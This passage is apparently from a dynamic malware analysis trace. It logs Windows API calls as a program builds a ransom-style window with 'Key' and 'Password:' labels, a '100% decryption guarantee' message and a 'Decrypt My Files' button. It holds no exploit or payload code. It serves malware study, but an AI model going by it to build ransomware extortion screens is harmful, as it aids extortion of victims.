wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0167.884] GetStockObject (i=5) returned 0x900015 [0167.884] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.884] GetWindowPlacement (in: hWnd=0x10256, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0167.884] GetClientRect (in: hWnd=0x10256, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0167.884] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0167.884] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.884] GetSystemMetrics (nIndex=42) returned 0 [0167.884] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0167.884] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0167.884] GetClientRect (in: hWnd=0x10256, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0167.884] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0167.884] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0167.884] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0167.884] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0167.884] SaveDC (hdc=0x60100ce) returned 1 [0167.884] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0167.884] CreateSolidBrush (color=0x323533) returned 0x2c10073a [0167.884] FillRect (hDC=0x60100ce, lprc=0x19e350, hbr=0x2c10073a) returned 1 [0167.885] DeleteObject (ho=0x2c10073a) returned 1 [0167.885] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0167.885] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10258, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.885] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.885] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.885] GetClientRect (in: hWnd=0x1025c, lpRect=0x19e5bc | out: lpRect=0x19e5bc) returned 1 [0167.885] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0167.885] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.885] GetSystemMetrics (nIndex=42) returned 0 [0167.886] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e49c, nMaxCount=1 | out: lpString="") returned 0 [0167.886] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e49c) returned 0x0 [0167.886] GetClientRect (in: hWnd=0x1025c, lpRect=0x19e4c4 | out: lpRect=0x19e4c4) returned 1 [0167.886] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0167.886] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0167.886] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0167.886] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0167.886] SaveDC (hdc=0x1e0106e1) returned 1 [0167.886] GetNearestColor (hdc=0x1e0106e1, color=0xcc7a00) returned 0xcc7a00 [0167.886] CreateSolidBrush (color=0xcc7a00) returned 0x2d10073a [0167.886] FillRect (hDC=0x1e0106e1, lprc=0x19e364, hbr=0x2d10073a) returned 1 [0167.886] DeleteObject (ho=0x2d10073a) returned 1 [0167.886] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0167.886] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.886] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0167.886] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10260, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.887] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.887] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10262, Msg=0x14, wParam=0x60100ce, lParam=0x0) returned 0x1 [0167.887] GetStockObject (i=5) returned 0x900015 [0167.887] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.887] GetWindowPlacement (in: hWnd=0x10264, lpwndpl=0x19e5fc | out: lpwndpl=0x19e5fc) returned 1 [0167.887] GetClientRect (in: hWnd=0x10264, lpRect=0x19e5a8 | out: lpRect=0x19e5a8) returned 1 [0167.887] GetWindowTextLengthW (hWnd=0x10264) returned 3 [0167.887] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.887] GetSystemMetrics (nIndex=42) returned 0 [0167.887] GetWindowTextW (in: hWnd=0x10264, lpString=0x19e478, nMaxCount=4 | out: lpString="Key") returned 3 [0167.887] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xd, wParam=0x4, lParam=0x19e478) returned 0x3 [0167.887] GetClientRect (in: hWnd=0x10264, lpRect=0x19e4b0 | out: lpRect=0x19e4b0) returned 1 [0167.887] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0167.887] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0167.888] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0167.888] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0167.888] SaveDC (hdc=0x1e0106e1) returned 1 [0167.888] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0167.888] CreateSolidBrush (color=0x323533) returned 0x2e10073a [0167.888] FillRect (hDC=0x1e0106e1, lprc=0x19e350, hbr=0x2e10073a) returned 1 [0167.888] DeleteObject (ho=0x2e10073a) returned 1 [0167.888] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0167.888] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0x47, wParam=0x0, lParam=0x19e8b4) returned 0x0 [0167.888] GetClientRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0167.888] GetWindowRect (in: hWnd=0x10248, lpRect=0x19e5a4 | out: lpRect=0x19e5a4) returned 1 [0167.888] GetParent (hWnd=0x10248) returned 0x8004e [0167.888] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e5a4, cPoints=0x2 | out: lpPoints=0x19e5a4) returned -16187697 [0167.888] GetParent (hWnd=0x10248) returned 0x8004e [0167.888] GetWindowTextLengthW (hWnd=0x10248) returned 0 [0167.888] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.888] GetSystemMetrics (nIndex=42) returned 0 [0167.888] GetWindowTextW (in: hWnd=0x10248, lpString=0x19e82c, nMaxCount=1 | out: lpString="") returned 0 [0167.888] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10248, Msg=0xd, wParam=0x1, lParam=0x19e82c) returned 0x0 [0167.888] GetWindowTextLengthW (hWnd=0x10246) returned 3 [0167.888] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.888] GetSystemMetrics (nIndex=42) returned 0 [0167.888] GetWindowTextW (in: hWnd=0x10246, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0167.888] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10246, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0167.889] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.889] GetSystemMetrics (nIndex=42) returned 0 [0167.889] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0167.889] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.889] GetSystemMetrics (nIndex=42) returned 0 [0167.889] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0167.889] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.889] GetSystemMetrics (nIndex=42) returned 0 [0167.889] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e76c, nMaxCount=1 | out: lpString="") returned 0 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e76c) returned 0x0 [0167.889] GetWindowTextLengthW (hWnd=0x10264) returned 3 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0167.889] GetSystemMetrics (nIndex=42) returned 0 [0167.889] GetWindowTextW (in: hWnd=0x10264, lpString=0x19e798, nMaxCount=4 | out: lpString="Key") returned 3 [0167.889] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10264, Msg=0xd, wParam=0x4, lParam=0x19e798) returned 0x3 [0167.889] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0167.889] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.890] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0167.890] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="100% decryption guarantee", dwStyle=0x5600000d, X=161, Y=211, nWidth=308, nHeight=32, hWndParent=0x10264, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10266 [0167.890] SetWindowLongW (hWnd=0x10266, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0167.890] GetWindowLongW (hWnd=0x10266, nIndex=-4) returned 1876339648 [0167.892] SetWindowTextW (hWnd=0x10266, lpString="100% decryption guarantee") returned 1 [0167.892] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0xc, wParam=0x0, lParam=0x3059534) returned 0x1 [0167.892] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x5, wParam=0x0, lParam=0x200134) returned 0x0 [0167.892] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x3, wParam=0x0, lParam=0xd300a1) returned 0x0 [0167.892] GetClientRect (in: hWnd=0x10266, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0167.892] GetWindowRect (in: hWnd=0x10266, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0167.892] GetParent (hWnd=0x10266) returned 0x10264 [0167.892] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0167.892] SendMessageW (hWnd=0x10266, Msg=0x2210, wParam=0x2660001, lParam=0x10266) returned 0x0 [0167.892] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x2210, wParam=0x2660001, lParam=0x10266) returned 0x0 [0167.892] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0167.893] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.893] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.893] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10266, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.893] GetClientRect (in: hWnd=0x10266, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0167.893] GetWindowRect (in: hWnd=0x10266, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0167.893] GetParent (hWnd=0x10266) returned 0x10264 [0167.893] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19de7c, cPoints=0x2 | out: lpPoints=0x19de7c) returned -16646646 [0167.893] GetParent (hWnd=0x10266) returned 0x10264 [0167.893] GetParent (hWnd=0x10266) returned 0x10264 [0167.893] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0167.893] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.894] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0167.894] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=87, Y=84, nWidth=32, nHeight=36, hWndParent=0x10264, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10268 [0167.894] SetWindowLongW (hWnd=0x10268, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0167.894] GetWindowLongW (hWnd=0x10268, nIndex=-4) returned 1952448832 [0167.895] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x5, wParam=0x0, lParam=0x240020) returned 0x0 [0167.895] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x3, wParam=0x0, lParam=0x540057) returned 0x0 [0167.895] GetClientRect (in: hWnd=0x10268, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0167.895] GetWindowRect (in: hWnd=0x10268, lpRect=0x19dee8 | out: lpRect=0x19dee8) returned 1 [0167.895] GetParent (hWnd=0x10268) returned 0x10264 [0167.895] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19dee8, cPoints=0x2 | out: lpPoints=0x19dee8) returned -16646646 [0167.895] SendMessageW (hWnd=0x10268, Msg=0x2210, wParam=0x2680001, lParam=0x10268) returned 0x0 [0167.895] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x2210, wParam=0x2680001, lParam=0x10268) returned 0x0 [0167.895] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0167.896] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.896] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.896] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10268, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.896] GetClientRect (in: hWnd=0x10268, lpRect=0x19deb8 | out: lpRect=0x19deb8) returned 1 [0167.896] GetWindowRect (in: hWnd=0x10268, lpRect=0x19deb8 | out: lpRect=0x19deb8) returned 1 [0167.896] GetParent (hWnd=0x10268) returned 0x10264 [0167.896] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19deb8, cPoints=0x2 | out: lpPoints=0x19deb8) returned -16646646 [0167.896] GetParent (hWnd=0x10268) returned 0x10264 [0167.896] GetParent (hWnd=0x10268) returned 0x10264 [0167.896] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0167.896] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.897] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0167.897] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=89, Y=124, nWidth=465, nHeight=1, hWndParent=0x10264, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0167.897] SetWindowLongW (hWnd=0x1026a, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0167.897] GetWindowLongW (hWnd=0x1026a, nIndex=-4) returned 1952448832 [0167.898] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x5, wParam=0x0, lParam=0x101d1) returned 0x0 [0167.898] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x3, wParam=0x0, lParam=0x7c0059) returned 0x0 [0167.898] GetClientRect (in: hWnd=0x1026a, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0167.898] GetWindowRect (in: hWnd=0x1026a, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0167.898] GetParent (hWnd=0x1026a) returned 0x10264 [0167.898] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19dedc, cPoints=0x2 | out: lpPoints=0x19dedc) returned -16646646 [0167.898] SendMessageW (hWnd=0x1026a, Msg=0x2210, wParam=0x26a0001, lParam=0x1026a) returned 0x0 [0167.898] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x2210, wParam=0x26a0001, lParam=0x1026a) returned 0x0 [0167.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0167.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.899] GetClientRect (in: hWnd=0x1026a, lpRect=0x19dec4 | out: lpRect=0x19dec4) returned 1 [0167.899] GetWindowTextLengthW (hWnd=0x1026a) returned 0 [0167.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.899] GetSystemMetrics (nIndex=42) returned 0 [0167.899] GetWindowTextW (in: hWnd=0x1026a, lpString=0x19dda4, nMaxCount=1 | out: lpString="") returned 0 [0167.899] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1026a, Msg=0xd, wParam=0x1, lParam=0x19dda4) returned 0x0 [0167.899] GetClientRect (in: hWnd=0x1026a, lpRect=0x19ddcc | out: lpRect=0x19ddcc) returned 1 [0167.899] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0167.899] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0167.899] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0167.899] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0167.900] GetCurrentActCtx (in: lphActCtx=0x19e760 | out: lphActCtx=0x19e760*=0xef1264) returned 1 [0167.900] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.900] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0167.900] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x560100c1, X=119, Y=102, nWidth=435, nHeight=18, hWndParent=0x10264, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1026c [0167.900] SetWindowLongW (hWnd=0x1026c, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0167.901] GetWindowLongW (hWnd=0x1026c, nIndex=-4) returned 1876218976 [0167.902] GetDC (hWnd=0x0) returned 0x1e0106e1 [0167.902] GdipCreateFromHDC (hdc=0x1e0106e1, graphics=0x19dc9c) returned 0x0 [0167.902] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0167.902] GdipGetLogFontW (font=0x691c928, graphics=0x6923518, logfontW=0xeeb088) returned 0x0 [0167.902] CoTaskMemFree (pv=0xeeb088) [0167.902] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0167.902] CoTaskMemFree (pv=0xeeaba8) [0167.903] CoTaskMemAlloc (cb=0x5c) returned 0xeeaba8 [0167.903] CoTaskMemFree (pv=0xeeaba8) [0167.903] GdipDeleteGraphics (graphics=0x6923518) returned 0x0 [0167.903] ReleaseDC (hWnd=0x0, hDC=0x1e0106e1) returned 1 [0167.903] CoTaskMemAlloc (cb=0x5c) returned 0xeeb088 [0167.903] CreateFontIndirectW (lplf=0xeeb088) returned 0x370a073e [0167.903] CoTaskMemFree (pv=0xeeb088) [0167.903] SendMessageW (hWnd=0x1026c, Msg=0x30, wParam=0x370a073e, lParam=0x0) returned 0x1 [0167.903] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x30, wParam=0x370a073e, lParam=0x0) returned 0x1 [0167.904] SendMessageW (hWnd=0x1026c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0167.904] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xd3, wParam=0x3, lParam=0x0) returned 0x0 [0167.904] SendMessageW (hWnd=0x1026c, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0167.904] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0167.904] SendMessageW (hWnd=0x1026c, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0167.904] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0167.904] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x5, wParam=0x0, lParam=0x1201b3) returned 0x0 [0167.904] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x3, wParam=0x0, lParam=0x660077) returned 0x0 [0167.904] GetClientRect (in: hWnd=0x1026c, lpRect=0x19de98 | out: lpRect=0x19de98) returned 1 [0167.904] GetWindowRect (in: hWnd=0x1026c, lpRect=0x19de98 | out: lpRect=0x19de98) returned 1 [0167.904] GetParent (hWnd=0x1026c) returned 0x10264 [0167.904] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19de98, cPoints=0x2 | out: lpPoints=0x19de98) returned -16646646 [0167.904] SendMessageW (hWnd=0x1026c, Msg=0x2210, wParam=0x26c0001, lParam=0x1026c) returned 0x0 [0167.904] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x2210, wParam=0x26c0001, lParam=0x1026c) returned 0x0 [0167.905] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0167.905] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x46, wParam=0x0, lParam=0x19e194) returned 0x0 [0167.905] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.905] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x14, wParam=0x1b010670, lParam=0x0) returned 0x1 [0167.905] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1026c, Msg=0x47, wParam=0x0, lParam=0x19e194) returned 0x0 [0167.905] GetClientRect (in: hWnd=0x1026c, lpRect=0x19de68 | out: lpRect=0x19de68) returned 1 [0167.905] GetWindowRect (in: hWnd=0x1026c, lpRect=0x19de68 | out: lpRect=0x19de68) returned 1 [0167.905] GetParent (hWnd=0x1026c) returned 0x10264 [0167.905] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19de68, cPoints=0x2 | out: lpPoints=0x19de68) returned -16646646 [0167.905] GetParent (hWnd=0x1026c) returned 0x10264 [0167.905] GetParent (hWnd=0x1026c) returned 0x10264 [0167.905] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0167.906] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.906] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0167.906] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Password:", dwStyle=0x5600000d, X=178, Y=9, nWidth=251, nHeight=63, hWndParent=0x10264, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1026e [0167.906] SetWindowLongW (hWnd=0x1026e, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0167.906] GetWindowLongW (hWnd=0x1026e, nIndex=-4) returned 1876339648 [0167.909] SetWindowTextW (hWnd=0x1026e, lpString="Password:") returned 1 [0167.909] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0xc, wParam=0x0, lParam=0x3053db0) returned 0x1 [0167.910] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x5, wParam=0x0, lParam=0x3f00fb) returned 0x0 [0167.910] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x3, wParam=0x0, lParam=0x900b2) returned 0x0 [0167.910] GetClientRect (in: hWnd=0x1026e, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0167.910] GetWindowRect (in: hWnd=0x1026e, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0167.910] GetParent (hWnd=0x1026e) returned 0x10264 [0167.910] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19deac, cPoints=0x2 | out: lpPoints=0x19deac) returned -16646646 [0167.910] SendMessageW (hWnd=0x1026e, Msg=0x2210, wParam=0x26e0001, lParam=0x1026e) returned 0x0 [0167.910] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x2210, wParam=0x26e0001, lParam=0x1026e) returned 0x0 [0167.910] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0167.910] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x46, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.910] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0167.911] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1026e, Msg=0x47, wParam=0x0, lParam=0x19e1bc) returned 0x0 [0167.911] GetClientRect (in: hWnd=0x1026e, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0167.911] GetWindowRect (in: hWnd=0x1026e, lpRect=0x19de7c | out: lpRect=0x19de7c) returned 1 [0167.911] GetParent (hWnd=0x1026e) returned 0x10264 [0167.911] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x10264, lpPoints=0x19de7c, cPoints=0x2 | out: lpPoints=0x19de7c) returned -16646646 [0167.911] GetParent (hWnd=0x1026e) returned 0x10264 [0167.911] GetParent (hWnd=0x1026e) returned 0x10264 [0167.911] GetCurrentActCtx (in: lphActCtx=0x19e784 | out: lphActCtx=0x19e784*=0xef1264) returned 1 [0167.911] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0167.912] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0167.912] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Decrypt My Files", dwStyle=0x5e01000b, X=87, Y=148, nWidth=467, nHeight=42, hWndParent=0x10264, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x10270 [0167.912] SetWindowLongW (hWnd=0x10270, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0167.912] GetWindowLongW (hWnd=0x10270, nIndex=-4) returned 1876224000 [0167.914] SetWindowTextW (hWnd=0x10270, lpString="Decrypt My Files") returned 1 [0167.914] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0xc, wParam=0x0, lParam=0x3054084) returned 0x1 [0167.914] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x10270, Msg=0x5, wParam=0x0, lParam=0x2a01d3) returned 0x0 [0167.915] CallWindowProcW 